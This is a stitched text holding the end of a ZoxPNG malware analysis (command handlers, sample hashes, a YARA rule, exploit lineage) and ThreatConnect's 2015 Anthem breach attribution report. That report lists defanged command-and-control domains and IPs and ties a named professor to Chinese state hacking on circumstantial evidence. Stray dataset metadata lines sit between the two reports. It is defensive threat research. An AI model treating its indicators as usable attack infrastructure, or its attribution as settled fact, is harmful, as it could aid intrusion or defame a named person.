dwPayloadSize to 4. If, however, installation of the new command handler was unsuccessful, the command handler will return only a CommandHeader structure with the dwCommandID field set to 0x8006100D and the dwLastError set to the return value from GetLastError. Command 0x8006100E: Shutdown ZoxPNG The Shutdown command takes no arguments. Upon activation, the Shutdown handler terminates any active remote command shell processes (e.g. cmd.exe), terminates any open pipes, and returns without providing any additional response data. After the shutdown command concludes, the ZoxPNG binary will sleep for 20 seconds before again re-engaging the main communication loop thereby effectively rendering the Shutdown command a 20 second sleep command. Known Samples The following table identifies the known ZoxPNG samples along with key metadata for each. SHA1 Compile Date File Size 60415999bc82dc9c8f4425f90e41a98d514f76a2 10 May 2013 at 07:16:54 44,432 bytes 40f9cde4ccd1b1b17a647c6fc72c5c5cd40d2b08 10 May 2013 at 07:16:54 47,200 bytes 7dd556415487cc192b647c9a7fde70896eeee7a2 10 May 2013 at 07:16:54 47,207 bytes Two of the known samples (SHA1:40f9cde4ccd1b1b17a647c6fc72c5c5cd40d2b08 and SHA1:60415999bc82dc9c8f4425f90e41a98d514f76a2) are signed using a signature from 4NB Corp. which appears to be a South Korean video conferencing and cloud service provider (www.4nb.co.kr). The signing certificate for the two samples has a valid time range of 21 June 2011 to 21 July 2013. Sample SHA1:40f9cde4ccd1b1b17a647c6fc72c5c5cd40d2b08 reports a valid digital signature whereas sample SHA1:60415999bc82dc9c8f4425f90e41a98d514f76a2 reports that the certificate has expired. Figures 6 and 7 show the differences between the two digital signatures for the signed samples. Figure 6: Sample 40f9cde4ccd1b1b17a647c6fc72c5c5cd40d2b08s Digital Signature Figure 7: Sample 60415999bc82dc9c8f4425f90e41a98d514f76a2s Digital Signature Detection Detecting ZoxPNG over the network could be possible by looking for the following string which appears to be static among the observed samples: pngw800h600eiCnJcUcSBL4rFkQX444HYCwzoom1ved1t:3588,r:1,s:0,i :92iactrcdur368page1tbnh184tbnw259start0ndsp20tx114ty 58 Detecting ZoxPNG on disk is possible using the same string as indicated in the following YARA signature: rule zox strings: url pngw800h600eiCnJcUcSBL4rFkQX444HYCwzoom1ved1t:3588,r:1,s:0, i:92iactrcdur368page1tbnh184tbnw259start0ndsp20tx114t y58 condition: url Evolution Sample SHA1:b51e419bf999332e695501c62c5b4aee5b070219 appears to have a tangential relationship to the ZoxPNG samples listed above. The sample, known as ZoxRPC, has a compile date of 11 July 2008 at 04:28:21, placing it nearly 5 years ahead of the known ZoxPNG samples. Given the large time differential between ZoxRPC and ZoxPNG, making a direct relationship between the two generations is difficult. There are several attributes that would appear to indicate a connection between the two Zox variants: 1. The use of the term iiscmd with a relationship to the remote shell functionality 2. The identifiers used for each command roughly align. ZoxRPC ID ZoxPNG ID Function Description 0x80061001 0x80061001 Initiate a remote shell 0x80061005 0x80061002 Interact with the remote shell (send command, read response) 0x80061003 0x80061003 Download a file from the C2 to the victims machine 0x80061002 0x80061004 Upload a file to the C2 from the victims machine ZoxRPC uses the MS08-067 vulnerability, specifically portions of code found on this public website: http://www.pudn.com/downloads183/sourcecode/hack/exploit/detail861817.html. One interesting aspect of the ZoxRPC malware is the list of targeting offsets for the MS08-067 exploit. The offsets are associated with specific regional version of Windows. The following identifiers were found within ZoxRPC: KR Windows All bypass DEP JP Windows All bypass DEP EN Windows All bypass DEP TW Windows All bypass DEP CN Windows All bypass DEP The list itself indicates a specific set of regional targets that the operators of ZoxRPC are going after. By researching the unique strings related to the iiscmd, iisput, and iisget strings, it appears that the original source code, upon which all Zox variants are based, dates back to 2002. As part of the IIS vulnerability disclosure of 2002 for the vulnerability MS02-018, the source code for the proof of concept code contains not only several strings found within the Zox binaries, but several of the functions as well. The source code upon which the Zox family is based is found at http://www.exploit-db.com/download/21371/, which was written by well-known Chinese hacker yuange. Given the several years between the original source code (2002) and both ZoxPNG (2013) and ZoxRPC (2008), the code upon which Zox is based has mutated and evolved, but there are clearly sections of code that have remained largely unaltered. The Anthem Hack: All Roads Lead to China Posted February 27, 2015 by ThreatConnect Intelligence Research Team (TCIRT)[1] led under Threat Research[2]. UPDATE: Premera Latest Healthcare Insurance Agency to be Breached[3] When news of the Anthem breach was reported on February 4th, 2015, the security industry quite understandably went wild. A breach of this magnitude was certainly unprecedented. Naturally, many industry professionals were keenly interested in digging into this incident to see what could be uncovered, and the research team at ThreatConnect was no exception. Thanks to our powerful API[4] and third-party partner[5] integrations, we were able to use ThreatConnect to quickly uncover a wealth of intelligence even when initially hindered by a relative lack of investigative lead information and context, a key requirement of any Threat Intelligence Platform[6] (TIP). However, before we delve into what we were able to uncover, lets briey review the facts as they stood in the wake of the initial discovery announcement. http://www.threatconnect.com/news/the-anthem-... 1 of 33 03/22/2015 10:14 PM What We Know: On the morning of February 4th, 2015, several major news outlets broke the story[7] that Anthem, Inc.s network defenses had been breached. According to a statement from Anthems CEO[8], the company fell victim to a very sophisticated external cyber attack, and the hackers obtained the personally identiable information (PII) of approximately 80M customers. This included social security numbers, birthdays, street addresses, phone numbers and income data plenty of information to enable identity theft. This was a signicant event for several reasons: Anthem, formerly known as Wellpoint, is the largest managed healthcare company in the Blue Cross Blue Shield Association, and by extension, one of the largest healthcare organizations in the United States. As such, any compromise, no matter how insignicant, would likely impact countless individuals. Blue Cross Blue Shield provides healthcare coverage for about half the U.S. federal workforce. This means that their information was potentially compromised too. Unlike the Sony hack which was destructive in nature and meant to send a message for coercive purposes, the Anthem compromise was purportedly very covert, a fact which may suggest something about the adversarys motives. As of late February 2015, there have not been any indications that the exltrated PII data was immediately commoditized on the black market for the purpose of enabling identity theft, as was the case in the Home Depot Breach. http://www.threatconnect.com/news/the-anthem-... 2 of 33 03/22/2015 10:14 PM Filling the Gaps: Obviously, these high-level observations do not provide cybersecurity researchers a great deal of information to work with. However, when presented within the context of a Threat Intelligence Platform (TIP), an incomplete trail of evidence can highlight intelligence gaps, a study of which can orient threat researchers towards their analytic objectives. To this end, lets examine what we wanted to discover in the context of the Anthem breach: Who was responsible for the attack? What was the objective of the attack? Was it cyber theft, an espionage operation, or something different? Who was targeted in the attack? The answer to this question, obscured as it may be, would likely shed some light on the objective of the breach. What was the timeline of the activity? The real power of a Threat Intelligence Platform is demonstrated when you are able to collect and maintain a robust dataset of threat indicators, both past and present, which can help orient you in the right direction in the wake of a newly discovered breach. Even when you do not have a good deal of information to start with (for example a le hash, or an IP address), you may nd leads by pivoting through archived datasets until you uncover key pieces of the puzzle. In the case of the Anthem breach, we were able to do just that. http://www.threatconnect.com/news/the-anthem-... 3 of 33 03/22/2015 10:14 PM Anthem Themed Infrastructure Signed Malware: In September 2014, the ThreatConnect Intelligence Research Team (TCIRT)[9] observed a variant of the Derusbi APT malware family, MD5: 0A9545F9FC7A6D8596CF07A59F400FD3[10], which was signed by a valid digital signature from the Korean company DTOPTOOLZ Co. Derusbi is a family of malware used by multiple actor groups but associated exclusively with Chinese APT. TCIRT began tracking the DTOPTOOLZ signature for additional signed malware samples and memorialized them within our Threat Intelligence Platform over time. Analyst Comment: The DTOPTOOLZ signature has also been observed in association with Korean Adware that is afliated with the actual DTOPTOOLZ Co. This adware should not be confused with the APT malware that is abusing the same digital signature. Later, in mid-November we discovered another implant that was digitally signed with the DTOPTOOLZ signature. This implant, MD5: 98721c78dfbf8a45d152a888c804427c[11], was from the Sakula (aka. Sakurel) family of malware, a known variant of the Derusbi backdoor, and was congured to communicate with the malicious command and control (C2) domains extcitrix.we11point[. ]com and www.we11point[. ]com. Through our Farsight Security passive DNS[12] integration, we uncovered that this malicious infrastructure was likely named in such a way to impersonate the legitimate Wellpoint IT infrastructure. http://www.threatconnect.com/news/the-anthem-... 4 of 33 03/22/2015 10:14 PM Passive DNS and historic DomainTools Whois data also provided insights that helped establish an initial timeline dating back to April 2014, when the faux domains came into existence and were later operationalized by the attackers. A Threat Intelligence Platform should allow for analysts to easily put together and organize such insights, collaborate around relevant analysis internally, and share the nished analysis with external industry groups and organizations. In the hopes that our community members could benet from or provide further insight into this suspicious incident, we immediately shared our threat intelligence including indicators, signatures and analytical context to the ThreatConnect Medical and Health Community[13] on November 13, 2014. This included sending out a notication to all stakeholders as well as our followers on Twitter[14]. When the Anthem breach later came to light in early February, we re-shared the signatures, indicators and context freely to the entire ThreatConnect user base. As we dug further, we expanded our understanding of the malicious we11point[. ]com infrastructure, taking particular interest to the subdomains such as extcitrix.we11point[. ]com and hrsolutions.we11point[. ]com. Note the citrix and hr (human resources) prexes that the adversary used to mirror legitimate remote infrastructure and employee benets resources in the May 2014 timeframe. This provided initial insights as to the likely targeting themes and or vectors in which the adversary may have used when initiating their targeting campaign. http://www.threatconnect.com/news/the-anthem-... 5 of 33 03/22/2015 10:14 PM [15] [16] The fact that the malicious infrastructure closely mirrored other legitimate Wellpoint infrastructure supported our hypothesis that the Derusbi / Sakula malware was congured to operate and persist within a specic target enterprise. Possible Premera Blue Cross Infrastructure: Retrospective analysis of other targeted malware samples using the DTOPTOOLZ Co. digital signature led to the identication of an HttpBrowser / HttpDump implant MD5: 02FAB24461956458D70AEED1A028EB9C[17] (OpenOfcePlugin.exe), which was rst observed on December 11, 2013. Although this malware sample is not Derusbi / Sakula, it too is strongly believed to be associated with Chinese APT activity and in fact may have also been involved in a Blue Cross Blue Shield http://www.threatconnect.com/news/the-anthem-... 6 of 33 03/22/2015 10:14 PM targeting campaign as early as December 2013. [ 18] This particular binary is congured to connect to the static IP address 142.91.76[. ]134. Passive DNS of this IP indicates that on December 11th, 2013, the same date as the malware sample was observed, the domain prennera[. ]com also resolved to 142.91.76[. ]134. It is believed that the prennera[. ]com domain may have been impersonating the Healthcare provider Premera Blue Cross[19], where the attackers used the same character replacement technique by replacing the m with two n characters within the faux domain, the same technique that would http://www.threatconnect.com/news/the-anthem-... 7 of 33 03/22/2015 10:14 PM be seen ve months later with the we11point[. ]com command and control infrastructure. Section Summary: The Derusbi / Sakula malware implant types are unique in that they have traditionally been seen within Chinese APT espionage campaigns. The HttpBrowser / HttpDump malware implant (while a different family of malware than Derusbi / Sakula) is also believed to be of Chinese origin, and was also digitally signed with the DTOPTOOLZ digitalsignature. This implant connected to a C2 node that overlapped with prennera[. ]com. We believe that the prennera[. ]com domain may be impersonating Premera Blue Cross (premera.com), using a similar character replacement technique seen in the we11point[. ]com campaign. VAE Inc. Themed Infrastructure Signed Malware Another powerful attribute of ThreatConnect is the ability for analysts to logically group items such as atomic indicators, related documents or signatures, all of which may include individualized custom context enrichments and associations. Over time, the ability to memorialize groupings of related or like activity allows analysts to quickly uncover non-obvious relationships within their private datasets. This is exactly what happened as we continued to http://www.threatconnect.com/news/the-anthem-... 8 of 33 03/22/2015 10:14 PM investigate these incidents. As industry analysts and media speculated Chinese APT involvement[20] in the Anthem breach, our focus into the Derusbi / Sakula malware signed with the DTOPTOOLZ Co. digital signature shifted from the we11point[. ]com incident to another cluster of activity that occurred later in May 2014. We immediately reviewed Incident 20140526B: vaeit APT[21], an incident that we initially shared to our Subscriber Community on September 29, 2014 after conducting retrospective analysis. [ 22] [23] Just as was the case with the we11point[. ]com and prennera[. ]com http://www.threatconnect.com/news/the-anthem-... 9 of 33 03/22/2015 10:14 PM incidents, the VAE, Inc. incident is also believed to be associated with Chinese APT espionage activity. In this case the adversary also used Derusbi / Sakula malware that was signed with the DTOPTOOLZ Co. digital signature and congured to communicate with faux infrastructure appearing to be masquerading as internal resources for the Department of Defense Contractor VAE, Inc. Additionally, in response to an inquiry from KrebsOnSecurity, VAE, Inc. would later conrm[24] that it had indeed been a target of a failed spearphishing attempt in May 2014 which used the malicious faux VAE, Inc. themed domain. The targeted incident relied upon the Sakula executable MD5: 230D8A7A60A07DF28A291B13DDF3351F[25] which had a XOR 0x9A encoded C2 callbacks to the IP address 192.199.254[. ]126 (registered to Wehostwebsites[. ]com Tom Yu of Baoan, Shenzhen City, Guangdong Province, China) as well as a hardcoded callback to sharepoint-vaeit[. ]com. Passive DNS of the static C2 IP 192.199.254[. ]126 revealed a single suspicious domain of interest topsec2014[. ]com. This domain had historic resolution around May 8, 2014 within a month of the rst observed Sakula activity using the IP 192.199.254[. ]126 as C2. [ 26] http://www.threatconnect.com/news/the-anthem-... 10 of 33 03/22/2015 10:14 PM [27] Using historic Whois, we discovered that topsec2014[. ]com was initially registered by li2384826402yahoo[. ]com on May 6th, 2014. Although the li2384826402yahoo[. ]com registrant is likely a reseller given that it has been observed registering several thousands of other domains, the fact that it was used to register both the faux VAE, Inc. C2 infrastructure and the overlapping domain topsec2014[. ]com within the same month suggests that there may be a relationship between the client of the reseller for the VAE, Inc. infrastructure and the client for topsec2014[.]com. [ 28] http://www.threatconnect.com/news/the-anthem-... 11 of 33 03/22/2015 10:14 PM [29] Just four minutes after the initial registration of topsec2014[. ]com, the Whois records were updated from the initial registrant, Li Ning li2384826402yahoo[. ]com to TopSec China TopSec_2014163[. ]com. This domain record has been unchanged since May 7th 2014. The we11point[. ]com infrastructure and by extension the faux VAE Inc. infrastructure is associated with Cluster 2 of the ScanBox framework[30] by PwC. The latest PwC update to ScanBox states that there are links between the domain allegedly used in the Anthem hack (we11point.com) to Cluster 2 through shared WHOIS details. OPM Themed Infrastructure One notable pattern was how the domain Whois registration information for the VAE, Inc. themed infrastructure was quickly updated and obfuscated with pseudorandom 10 character gmx.com email addresses and using the names of various comic book characters from the Iron Man franchise. This comic-themed naming convention has been previously documented by our friends at Crowdstrike[31] in what they characterize as being associated with a Chinese APT group they have dubbed Deep Panda. Leveraging our DomainTools partnership, we were able to http://www.threatconnect.com/news/the-anthem-... 12 of 33 03/22/2015 10:14 PM correlate the outlier domain opm-learning[. ]org. This domain was also purportedly registered by the Iron Man movie hero Tony Stark on July 28, 2014. This infrastructure naming convention suggests a possible Ofce of Personnel Management (OPM) theme. However, in this case we lacked any specic sample of malware to verify our initial suspicions that this infrastructure was operational. The possible OPM reference in the domain name is noteworthy considering it was revealed in July of 2014 that OPM had been compromised[32] by a likely state-sponsored Chinese actor in mid-March of that year. The fact this domain was registered after the breach occurred suggests that OPM could be an ongoing direct target of Chinese state-sponsored cyber espionage activity. Our attention then turned to the FBI Flash Report A-000049- MW[33] that was publicly reported by Brian Krebs [34]on February 6th, 2015. This FBI Flash Report was issued on January 27th, 2015, the same day an Anthem administrator detected suspicious activity according to an internal memo[35]. This memo goes on to indicate that the FBI would not be party to the Anthem breach until they were notied on January 29th, 2015 based on these facts we assess with high condence that it is very unlikely that the FBI Flash Report was directly related to the Anthem breach. Rather, we suspect that the FBI ash report likely references the USIS breach that was announced[36] on August 6, 2014, or the previous OPM breach, considering the statement that the breach involved compromised and stolen sensitive business information and Personally Identiable Information (PII) from US commercial and http://www.threatconnect.com/news/the-anthem-... 13 of 33 03/22/2015 10:14 PM government networks through cyber espionage. The malware referenced within the FBI Report is associated with a Derusbi backdoor subvariant named InfoAdmin / Kakfum where the FBI specically references open source reporting of Deep Panda as being related to the malware observed in the attack. The malicious infrastructure highlighted in the report are the domains images.googlewebcache[. ]com and smtp.outlookssl[. ]com. Both of these top level domains were included with other related domains, all of which were shared on September 16th, 2013 to the ThreatConnect Subscriber Community in Incident 20130823C: Some. Trouble APT Domains[37], roughly a year and half prior to the FBI Flash report. It is important to mention that both the domains images.googlewebcache[. ]com and smtp.outlookssl[. ]comas were also previously identied in an October 2014 PwC blog post[38] as seen within Cluster 1 of the Scanbox framework, while the Sakula activity with we11point and VAEIT is contained within Cluster 2 of that report. This implies that the actor referenced within the FBI Flash report uses shared capabilities (in this case the ScanBox kit) with the Sakula / we11point actor.
230
Section Summary: The Derusbi / Sakula malware seen in both the we11point[.
48,442
48,742
301
data/reports_final/0230.txt
Section Summary: The Derusbi / Sakula malware seen in both the we11point[. ]com and VAE Inc. campaigns were structurally the same and digitally signed with the DTOPTOOLZ signature. http://www.threatconnect.com/news/the-anthem-... 14 of 33 03/22/2015 10:14 PM The emerging theme is that this particular signature and family of malware is highly indicative of a particular Chinese APT activity. Within this web of malicious infrastructure, there is an interesting overlap with the topsec2014[. ]com domain and attack infrastructure. TCIRT identied a domain opm-learning[. ]org that had a similar superhero themed WHOIS registrant to the Sakula / VAE Inc. infrastructure. The possible OPM reference is noteworthy considering the Ofce of Personnel Management (OPM) was compromised in March 2014. Additionally, an FBI Flash Report 0000-49MW referenced indicators that were possibly associated with the USIS hack and a Derusbi variant called Kakfum / InfoAdmin. Both the FBI Flash infrastructure and the Sakula / VAE Inc. infrastructure are tied to the capability usage of the ScanBox framework, residing in Clusters 1 and 2 respectively. Unveiling Song Yubo and Southeast University: The Professor We conducted open source research in pursuit of further information on the TopSec_2014163[. ]com email registrant. A keyword search returned several results for topsec2014163[. ]com in association with a number of academic institutions in Nanjing, China. Although the email http://www.threatconnect.com/news/the-anthem-... 15 of 33 03/22/2015 10:14 PM address wasnt an exact match to the topsec2014[. ]com domain registrant (notice the absence of the underscore), such a similarity warranted further investigation. [ 39] [40] http://www.threatconnect.com/news/the-anthem-... 16 of 33 03/22/2015 10:14 PM We examined the links for any relevant intelligence, and discovered that nearly all of the search results led to pages that contained an announcement for an information security competition sponsored by the Southeast University-Topsec Information Security and Mobile Internet Technology Joint Research Center. This entity appears to be a joint research venture between the University and Chinese networking giant Beijing Topsec Network Security Technology Co., a.k.a. Beijing Topsec. [ 41] http://www.threatconnect.com/news/the-anthem-... 17 of 33 03/22/2015 10:14 PM [42] The announcements list a Professor Song Yubo as the point of contact for the event, and directs interested parties to his email address, topsec2014163[. ]com, for further questions. [ 43] [44] According to his LinkedIn page, Song is a Teacher at the Southeast University, specically interested in the eld of telecommunications. Additionally, he is an avid researcher, and has published numerous academic papers on computer network exploitation on various e-journal publication sites, such as Google Scholar[45]. Further, he lists skills such as cryptography, penetration testing and computer network security, etc. on his Research Gate prole[46]. http://www.threatconnect.com/news/the-anthem-... 18 of 33 03/22/2015 10:14 PM [47] [48] As we continued to develop a prole on Professor Song, we began to have the sense that his interest in information security research strongly overlapped with that of someone who might be interested in or at least capable of conducting sophisticated cyber attacks. However, interests alone are not enough to warrant reasonable suspicion, so we had to do more digging. Additionally, the soft link between TopSec_2014163[. ]com and topsec2014163[. ]com alone was not sufcient to make http://www.threatconnect.com/news/the-anthem-... 19 of 33 03/22/2015 10:14 PM associations with any reasonable condence, but as it turns out, Yubo has in fact been previously named as a person of interest in the context of offensive Chinese cyber activity. The University In March 2012, Northrop Grumman presented a commissioned report to Congress[49] detailing Chinese cyber warfare capabilities. The report asserts with high condence that both Song and the Information Security Research Center at Southeast University have received numerous state-sponsored research grants, and by extension, cooperated with the Government of China in conducting information security research and development (RD). As stated on Southeast Universitys own website, the main purpose of these grants are to develop technical acumen amongst its students via providing support for state-owned scientic research institutions, state key enterprises, government agencies and Peoples Liberation Army (PLA) units. [ 50] http://www.threatconnect.com/news/the-anthem-... 20 of 33 03/22/2015 10:14 PM [51] Southeast University is one of only three Chinese academic institutes that receives funding from all ve of the State grant programs. Song himself has also conducted his fair share of state- sponsored research, notably under the National Ministry of State Security 115 Program a highly sensitive research grant to fund ambiguous information warfare RD, almost certainly in support of PLA programs. The Competition As we can see, the evidence continued to stack up. The real smoking gun, however, was when we began to notice a strong temporal overlap with the various stages of the TOPSEC Cup that Song and Beijing Topsec were organizing, and the registration dates of malicious infrastructure as well as the malware compilation dates. [ 52] http://www.threatconnect.com/news/the-anthem-... 21 of 33 03/22/2015 10:14 PM [53] Based upon the translated registration form that we obtained from Song Yubos personal Baidu document sharing account, open registration for the TOPSEC Cup began on May 4th, 2014 and would close on May 14th, 2014. The details of the competition that were shared on the announcement are extremely ambiguous, and probably for good reason. The introductory paragraph mentions that the primary goal of the event is to facilitate the training and discovery of new talent, noting that exceptional participants would receive priority consideration for internships and jobs with Beijing Topsec. The event itself was broken down into several distinct rounds of competition. Firstly, the preliminary round required that all eligible registrants would attempt to remotely access and navigate through the network. Should a participating team perform exceptionally in the preliminary qualifying round, they would be invited to participate in the nal round on-site in Nanjing. http://www.threatconnect.com/news/the-anthem-... 22 of 33 03/22/2015 10:14 PM In this nal round, participants would be required to build their own information systems and network environments. The announcement notes that the students must rely upon their own laptop and software tools to accomplish this task. Further, the announcement notes that participants are prohibited from attacking the provided server as well as their competitors. Section Summary: Song Yubo and his research center at Southeast University appear to be central players in this narrative, as highlighted by their nancial connections to the government of China, in particular the Ministry of State Security (MSS), Chinas premier human intelligence agency. If the MSS was involved, we can deduce that the Anthem hack could have been for the purposes of gathering sensitive information for follow-on HUMINT targeting via blackmail, asset recruitment or technical targeting operations against individuals at home. Songs use of the topsec email alias suggests a greater association w/ TOPSEC. It seems as if the competition is almost certainly the cause for the topsec2014[. ]com domain. What is very curious, however, is the initial registration by the reseller li2384826402yahoo[. ]com, which is a tactic seen within the conrmed malicious faux VAE Inc.infrastructure. The overlap between the competition website and the static command and control infrastructure seen in the Derusbi / http://www.threatconnect.com/news/the-anthem-... 23 of 33 03/22/2015 10:14 PM Sakula implant is was likely an error made by the attackers. Tianrongxin, a.k.a. Beijing Topsec Technology Co: The Company To enhance our open-source capabilities, we partnered up with Dr. James Mulvenon[54] and his team of China experts at Defense Group, Inc. (DGI)[55]. We shared with them everything that we knew at the time, walking through the technical details which led us all the way to Song Yubo and the competition announcement. From there, they were able to uncover a wealth of very consequential background information on Beijing Topsec Technology Co (Beijing Topsec), the sponsoring organization for Song Yubos information security competition. DGIs research indicated that Beijing Topsec is one of the largest information security hardware providers in China. In 1996, they were the rst Chinese company to break into the market with the release of Chinas rst indigenously-manufactured rewall. Since then, they have expanded their business to include a consulting practice focused on issues such as vulnerability mining, software code analysis, threat intelligence, and encryption RD, amongst other things. The company served as a core technical support unit for network http://www.threatconnect.com/news/the-anthem-... 24 of 33 03/22/2015 10:14 PM security at the 2008 Olympic Games an event which was tightly controlled by the state. Additionally, Beijing Topsec is a known partner of the Chinese military. Since 2009, the company has possessed information publication credentials for military network procurement. Since 2013, they have been publicly recognized as the Chinese equivalent of a cleared defense contractor. The links between Beijing Topsec and the Chinese government are fairly substantial, highlighted by long-standing partnerships between even the most shadowy elements of the Chinese military. The Leaked Cable A very compelling piece of evidence is found in the contents of a leaked 2009 diplomatic security cable from the Department of State, published by The Guardian. [56] The cable is a daily digest of Diplomatic Security alerts essentially a situational awareness primer for State Department employees to inform them of new and existing threats. In one section, the cable highlights that the Founder of Beijing Topsec, He Weidong, had openly talked about receiving directives from the PLA in an interview with China News Network. In the interview, the founder quite curiously states that Topsec is less a commercial entity, but rather a research institute, and that the company received about half of its start-up capital directly from the PLA. The cable further claims that Topsec actively recruits for the PLA cyber army. http://www.threatconnect.com/news/the-anthem-... 25 of 33 03/22/2015 10:14 PM [57] [58] It would also appear that not only does Beijing Topsec have deep ties to state-run cyber activity, but also within the independent hacker community as well. Of note, the company hired the notorious hacker Lin Yong, a.k.a. Lion (of the Honker Union of China[59]) in the early 2000s as a security service engineer and to conduct network training. Section Summary: It is not surprising that the Chinese government would be interested in partnering with a private organization such as Beijing Topsec for use as a front for state-sponsored activity. The association between Southeast University and Beijing Topsec as manifested in the joint information security research center highlights the possibility of growing links between http://www.threatconnect.com/news/the-anthem-... 26 of 33 03/22/2015 10:14 PM state-sponsored activity and academic institutions, particularly those that receive funding from the central government. All in all, it would seem that China is pursuing a unied approach to cyber operations, relying on all unique facets of the workforce: academia, private industry, and independent hackers, as well as the PLA to achieve their strategic goals. Conclusion: The Anthem breach exposes the insidious reality of modern Chinese cyber espionage as it continues its unrelenting strikes at the soft underbelly of the American way of life. Moreover, it demonstrates the imposing yet increasingly common reality of conducting threat intelligence analysis without substantial threat intelligence to start with. Fortunately for us, we were able to deduce informed answers to some of the outstanding questions to this breach by scrutinizing our archival data troves that are efciently stored within our Threat Intelligence Platform and partner integrations. In the eld of cyber security, industry professionals must learn to play the long game in order to generate a proactive sense of situational awareness, allowing for greater efciency and exibility in mitigating future threats. Additionally, this incident underscores the frustrating disparity of the industry when it comes to naming conventions. With so many threat actors and indicators oating around, it is can be frustrating to keep track of all the disparate pieces of evidence, http://www.threatconnect.com/news/the-anthem-... 27 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/author/the-square/1. especially when countless naming conventions are applied. Without the use of a Threat Intelligence Platform to keep track of the ood of incoming threat data, this task would be extraordinarily time consuming at best and crippling at worst. Moving forward, it is important to bear in mind that the adversary, regardless of country of origin, shall almost certainly leverage our every weakness against us. Even something as seemingly innocuous as confusion over names can easily consume analytical bandwidth, creating a window of opportunity to strike. We that is security professionals, private industry and governments alike must proactively harden our network defenses and hasten our incident responses as a united, synchronous entity. We have shared details on Song Yubo[60] and afliated indicators within the ThreatConnect Common Community. This share also includes the full-text DGI BLUE HERON research[61] which provides greater insight into Song Yubo, Southeast University and Beijing Topsec. All things considered, industry must learn to adopt a cooperative defense mindset in the hopes of rebufng future attacks. The most resolute defense we have is each other, so be like the TCIRT and start actively defending your own community from the next big breach. Register for a free ThreatConnect account today[62] to get started sharing and analyzing your threat intelligence. http://www.threatconnect.com/news/the-anthem-... 28 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/category/threat-research-tcirt/2. http://www.threatconnect.com/news/premera-latest-healthcare- insurance-agency-to-be-breached?utm_campaignAnthem-Hack-Blog- Postutm_sourcefrom-anthem-post 3. http://www.threatconnect.com/product/threatconnect_API4. http://www.threatconnect.com/partners5. http://www.threatconnect.com/why_threat_connect /what_is_threat_intelligence_platform 6. http://www.wsj.com/articles/health-insurer-anthem-hit-by-hackers- 1423103720 7. https://www.anthemfacts.com/ceo8. http://threatconnect.com/why_threat_connect /threatconnect_intelligence_research_team 9. https://www.virustotal.com/en/le /77421106548e69e9666c538ad628918cad7cfcf8f6aa7825f71a4fc39e522a7d /analysis/ 10. https://www.virustotal.com/en/le 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/05/25fbb36e-ad56-11e4-9c91-e9d2f9fde644_story.html 20. https://app.threatconnect.com/tc/auth/incident /incident.xhtml?incident708926 21. http://www.threatconnect.com/news/wp-content/uploads/2015/12/Well- VAE-Overlaps.jpg 22. http://www.threatconnect.com/news/wp-content/uploads/2015/12/Well- VAE-Overlaps.jpg 23. http://krebsonsecurity.com/2015/02/anthem-breach-may-have-started- in-april-2014/ 24. https://www.virustotal.com/en/le /d4be6c9117db9de21138ae26d1d0c3cfb38fd7a19fa07c828731fa2ac756ef8d /analysis/ 25. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /li-reg-overlaps1.jpg 26. http://www.threatconnect.com/news/the-anthem-... 30 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/wp-content/uploads/2015/12 /li-reg-overlaps1.jpg 27. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /topsec2014-hist.png 28. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /topsec2014-hist.png 29. http://pwc.blogs.com/les/cto-tib-20150223-01a.pdf30. http://blog.crowdstrike.com/ironman-deep-panda-uses-sakula- malware-target-organizations-multiple-sectors/ 31. http://www.washingtonpost.com/world/national-security/chinese- hackers-go-after-us-workers-personal-data/2014/07/10 /92db92e8-0846-11e4-8a6a-19355c7e870a_story.html 32. http://krebsonsecurity.com/wp-content/uploads/2015/02/FBI-Flash- Warning-Deep-Panda.pdf 33. http://krebsonsecurity.com/2015/02/china-to-blame-in-anthem-hack/34. http://www.csoonline.com/article/2880352/disaster-recovery/anthem- conrms-data-breach-but-full-extent-remains-unknown.html 35. http://www.washingtonpost.com/world/national-security /dhs-contractor-suffers-major-computer-breach-ofcials-say/2014 /08/06/8ed131b4-1d89-11e4-ae54-0cfe1f974f8a_story.html 36. https://app.threatconnect.com/tc/auth/incident /incident.xhtml?incident39083 37. http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox- framework-whos-affected-and-whos-using-it-1.html 38. http://www.threatconnect.com/news/wp-content/uploads/2015/1239. http://www.threatconnect.com/news/the-anthem-... 31 of 33 03/22/2015 10:14 PM /Screen-Shot-2015-02-25-at-5.20.37-PM.png http://www.threatconnect.com/news/wp-content/uploads/2015/12 /Screen-Shot-2015-02-25-at-5.20.37-PM.png 40. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /Screen-Shot-2015-02-23-at-9.22.35-AM.png 41. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /Screen-Shot-2015-02-23-at-9.22.35-AM.png 42. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /Translation.png 43. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /Translation.png 44. https://scholar.google.com/citations?userBoorASIAAAAJhlzh-CN45. http://www.researchgate.net/prole/Song_Yubo46. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /yubo-stacked.png 47. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /yubo-stacked.png 48. http://www2.gwu.edu/nsarchiv/NSAEBB/NSAEBB424/docs/Cyber- 066.pdf 49. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /relationships.jpg 50. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /relationships.jpg 51. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /Screen-Shot-2015-02-26-at-4.12.20-PM.png 52. http://www.threatconnect.com/news/the-anthem-... 32 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/wp-content/uploads/2015/12 /Screen-Shot-2015-02-26-at-4.12.20-PM.png 53. http://www.uscc.gov/sites/default/les/Mulvenon_Bio.pdf54. http://www.defensegroupinc.com/index.html55. http://www.theguardian.com/world/us-embassy-cables-documents /214462 56. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /lin-yong-lion.png 57. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /lin-yong-lion.png 58. http://blogs.wsj.com/chinarealtime/2011/10/05/patriotic-chinese- hacking-group-reboots/ 59. https://app.threatconnect.com/tc/auth/adversary /adversary.xhtml?adversary726175 60. https://app.threatconnect.com/tc/auth/document /document.xhtml?document726190 61. http://www.threatconnect.com/product/product_editions62. 